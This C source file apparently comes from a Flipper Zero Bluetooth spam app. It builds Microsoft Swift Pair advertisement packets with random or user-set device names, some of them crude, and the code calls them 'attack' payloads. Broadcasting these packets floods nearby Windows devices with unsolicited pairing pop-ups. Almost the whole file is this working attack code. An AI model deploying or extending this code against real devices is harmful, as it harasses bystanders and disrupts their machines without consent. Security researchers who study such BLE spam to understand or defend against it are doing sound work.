swiftpair.c 3.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135
  1. #include "swiftpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
  5. const char* names[] = {
  6. "Assquach💦",
  7. "Flipper 🐬",
  8. "iOS 17 🍎",
  9. "Kink💦",
  10. "👉👌",
  11. "🔵🦷",
  12. };
  13. const uint8_t names_count = COUNT_OF(names);
  14. static const char* get_name(const Payload* payload) {
  15. UNUSED(payload);
  16. return "SwiftPair";
  17. }
  18. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  19. SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
  20. const char* name;
  21. switch(cfg ? payload->mode : PayloadModeRandom) {
  22. case PayloadModeRandom:
  23. default:
  24. name = names[rand() % names_count];
  25. break;
  26. case PayloadModeValue:
  27. name = cfg->name;
  28. break;
  29. }
  30. uint8_t name_len = strlen(name);
  31. uint8_t size = 7 + name_len;
  32. uint8_t* packet = malloc(size);
  33. uint8_t i = 0;
  34. packet[i++] = size - 1; // Size
  35. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  36. packet[i++] = 0x06; // Company ID (Microsoft)
  37. packet[i++] = 0x00; // ...
  38. packet[i++] = 0x03; // Microsoft Beacon ID
  39. packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
  40. packet[i++] = 0x80; // Reserved RSSI Byte
  41. memcpy(&packet[i], name, name_len);
  42. i += name_len;
  43. *_size = size;
  44. *_packet = packet;
  45. }
  46. enum {
  47. _ConfigExtraStart = ConfigExtraStart,
  48. ConfigName,
  49. ConfigInfoRequire,
  50. ConfigCOUNT,
  51. };
  52. static void config_callback(void* _ctx, uint32_t index) {
  53. Ctx* ctx = _ctx;
  54. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  55. switch(index) {
  56. case ConfigName:
  57. scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
  58. break;
  59. case ConfigInfoRequire:
  60. break;
  61. default:
  62. ctx->fallback_config_enter(ctx, index);
  63. break;
  64. }
  65. }
  66. static void extra_config(Ctx* ctx) {
  67. Payload* payload = &ctx->attack->payload;
  68. SwiftpairCfg* cfg = &payload->cfg.swiftpair;
  69. VariableItemList* list = ctx->variable_item_list;
  70. VariableItem* item;
  71. item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
  72. variable_item_set_current_value_text(
  73. item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
  74. variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
  75. variable_item_list_set_enter_callback(list, config_callback, ctx);
  76. }
  77. static uint8_t config_count(const Payload* payload) {
  78. UNUSED(payload);
  79. return ConfigCOUNT - ConfigExtraStart - 1;
  80. }
  81. const Protocol protocol_swiftpair = {
  82. .icon = &I_windows,
  83. .get_name = get_name,
  84. .make_packet = make_packet,
  85. .extra_config = extra_config,
  86. .config_count = config_count,
  87. };
  88. static void name_callback(void* _ctx) {
  89. Ctx* ctx = _ctx;
  90. Payload* payload = &ctx->attack->payload;
  91. payload->mode = PayloadModeValue;
  92. scene_manager_previous_scene(ctx->scene_manager);
  93. }
  94. void scene_swiftpair_name_on_enter(void* _ctx) {
  95. Ctx* ctx = _ctx;
  96. Payload* payload = &ctx->attack->payload;
  97. SwiftpairCfg* cfg = &payload->cfg.swiftpair;
  98. TextInput* text_input = ctx->text_input;
  99. text_input_reset(text_input);
  100. text_input_set_header_text(text_input, "Press back for random");
  101. text_input_set_result_callback(
  102. text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
  103. text_input_set_minimum_length(text_input, 0);
  104. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
  105. }
  106. bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
  107. Ctx* ctx = _ctx;
  108. Payload* payload = &ctx->attack->payload;
  109. if(event.type == SceneManagerEventTypeBack) {
  110. payload->mode = PayloadModeRandom;
  111. }
  112. return false;
  113. }
  114. void scene_swiftpair_name_on_exit(void* _ctx) {
  115. UNUSED(_ctx);
  116. }